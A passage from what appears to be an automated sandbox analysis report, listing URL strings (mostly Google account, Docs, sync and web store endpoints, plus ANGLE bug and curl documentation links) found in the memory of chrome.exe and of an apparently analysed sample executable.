Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000003.00000002.1810960372.00004E840008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000003.00000002.1813747148.00004E84004B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1813208284.00004E840041C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000003.00000002.1810702140.00004E840001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000003.00000002.1824309048.00004E8400C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 00000003.00000002.1821434978.00004E8400664000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1823683731.00004E8400A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000003.00000002.1821434978.00004E8400664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardN
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/LogoutZ
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000003.00000002.1823360052.00004E84009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000003.00000002.1811057220.00004E84000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000003.00000002.1811057220.00004E84000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000003.00000002.1811057220.00004E84000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000003.00000002.1810960372.00004E840008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000002.1814096992.00004E8400514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1827107587.00004E8401090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1824473314.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1792308045.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794217377.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: chrome.exe, 00000003.00000002.1824603599.00004E8400CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000002.1824603599.00004E8400CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000003.00000002.1824603599.00004E8400CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000002.1821389497.00004E8400644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000003.00000002.1823607317.00004E8400A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1826485573.00004E8400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1827675884.00004E8401328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1823397104.00004E84009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825528926.00004E8400E54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822308186.00004E84007D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000003.00000003.1792121015.00004E8400D80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1792054115.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795298978.00004E8400D80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794089111.00004E8400D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795346728.00004E8400D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1800011649.00004E8400D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000002.1810398085.0000434C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.1783332670.0000434C0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1783472398.0000434C00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810535410.0000434C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000002.1810398085.0000434C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.1783332670.0000434C0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1783472398.0000434C00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810535410.0000434C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000002.1810398085.0000434C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000003.00000002.1810398085.0000434C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.1783332670.0000434C0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1783472398.0000434C00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810535410.0000434C00974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000003.00000002.1811939297.00004E840020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000003.00000002.1810702140.00004E840001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000003.00000002.1824765765.00004E8400D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/gZ
Source: chrome.exe, 00000003.00000003.1779883550.0000286C002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779903075.0000286C002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000002.1821491238.00004E8400698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810702140.00004E840001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1821795011.00004E8400730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000003.00000002.1824057215.00004E8400B2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod
Source: chrome.exe, 00000003.00000002.1823016612.00004E84008F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000003.00000002.1823016612.00004E84008F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000003.00000002.1821434978.00004E8400664000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824271647.00004E8400C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chrome.exe, 00000003.00000002.1812766416.00004E840032C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.goog
Source: chrome.exe, 00000003.00000002.1812766416.00004E840032C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.googl0
Source: chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 00000003.00000002.1823731948.00004E8400AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1821276064.00004E8400624000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824765765.00004E8400D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1823731948.00004E8400AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000003.00000002.1823731948.00004E8400AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825488625.00004E8400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822512748.00004E840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822600433.00004E840081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824726026.00004E8400D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822512748.00004E840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822600433.00004E840081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824013023.00004E8400B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822512748.00004E840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822600433.00004E840081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824013023.00004E8400B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1821276064.00004E8400624000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824765765.00004E8400D30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824726026.00004E8400D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1821276064.00004E8400624000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapplt
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825488625.00004E8400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1814096992.00004E8400514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1827107587.00004E8401090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1821534078.00004E84006A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824473314.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1792308045.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824765765.00004E8400D30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794217377.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824726026.00004E8400D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000003.00000002.1821534078.00004E84006A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/date2/crx
Source: chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1825488625.00004E8400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
